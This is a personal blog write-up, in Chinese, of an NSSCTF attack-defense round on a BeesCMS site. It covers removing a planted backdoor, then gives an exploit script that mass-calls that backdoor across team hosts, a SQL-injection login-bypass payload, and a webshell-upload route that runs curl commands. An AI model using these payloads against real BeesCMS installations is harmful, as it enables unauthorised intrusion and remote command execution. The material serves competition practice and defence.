目录

  1. 1. 前言
  2. 2. 加固阶段
  3. 3. 攻击阶段
    1. 3.1. 命令执行
    2. 3.2. 进后台
      1. 3.2.1. 伪造登录
      2. 3.2.2. 验证码
      3. 3.2.3. 文件上传
    3. 3.3. 其他
  4. 4. 防御
↑

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

记NSS的一次awd

2023/7/2 AWD CMS NSS
  |     |   总文章阅读量:次

前言

目前还不会临场搓脚本,于是每轮都是手动打的555

最终取得了T1组的第11名

image-20230702210228478

模板是beescms,这里参考了这篇文章

虽然自己手打的时候就是一招文件上传打过去的_(:з」∠)_

总之挺好玩的,にひひ


加固阶段

先下载/app或者/var/www/html的源码到本地

tar -czvf source_code.tar.gz .

然后把文件扔d盾查杀一下

image-20230702205625865

删除掉两个带有phpinfo的php文件

然后看看/includes/config.php

<?php 
echo 'hello world';
extract($_REQUEST);
@$d($_POST[c]);
?>

要修很简单,直接删掉最下面的命令执行代码

然后参考相关漏洞利用的文章来加过滤

修改/admin/admin_file_upload.php

$type_file=empty($_sys['web_upload_file'])?"zip|gz|rar|iso|doc|xsl|ppt|wps|swf|mpg|mp3|rm|rmvb|wmv|wma|wav|mid|mov":$_sys['web_upload_file'];
$type_file = str_replace("php", "", $type_file); // 将不允许上传的php后缀从文件类型列表中删除

剩下的没时间修也不怎么会修555


攻击阶段

命令执行

草,铸币了,我都把config.php修了不就意味着这个也是一个可利用的漏洞(虽然有点经验的一般都会把这个洞修掉)

而且利用方式简单,容易写脚本一次性收割

这是我赛后写的脚本,应该可行

import requests
import re
import json
import time

def shell(url):
    att_url = url + "/config.php?d=system"
    try:
        data = {
            "c":'curl http://flagserver/flag?token=NSS_BQQGJR'
        }
        res = requests.post(att_url, data)
        flag = re.findall('"code":0', res.text)
        return flag
    except:
        print(f"[-]Failed! shell_exp Box: {url}")
        return 0
    
url1 = 'ugsqrv1847-'
url2 = '.ecs142.awd.nssctf.cn'
for i in range(1,33):
    attack_url = url1 + str(i)+url2
    if isinstance(shell(attack_url), str):
        shell(attack_url)
    else:
        continue
    print("********************第 " + str(i) + " 次flag提交结束**************************")
    time.sleep(600)

进后台

这里采用sql注入进后台的方式

访问/admin登录页面

手动输入验证码然后抓包进行伪造登录

伪造登录

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456

(后面的验证码部分别动)

验证码

这里是群里的师傅给出的方法

image-20230702210514092

然后就会302重定向,burp这里需要跟随重定向

image-20230702210947727

image-20230702211023822

文件上传

在网站设置中找到系统设置,添加可上传的后缀类型|php

image-20230702211147219

然后访问/admin/admin_file_upload.php来到上传界面

image-20230702211232342

传一句话木马,然后访问并传参

pass=system("curl http://flagserver/flag?token=NSS_BQQGJR");

返回{"code":0,"msg":"\u6210\u529f\u653b\u51fb\u3002"},攻击成功

其他

其他的攻击手段回头再看看


防御

这里我只会在/app/upload里面删马,虽然好像上马的瞬间应该就被攻下来了。。。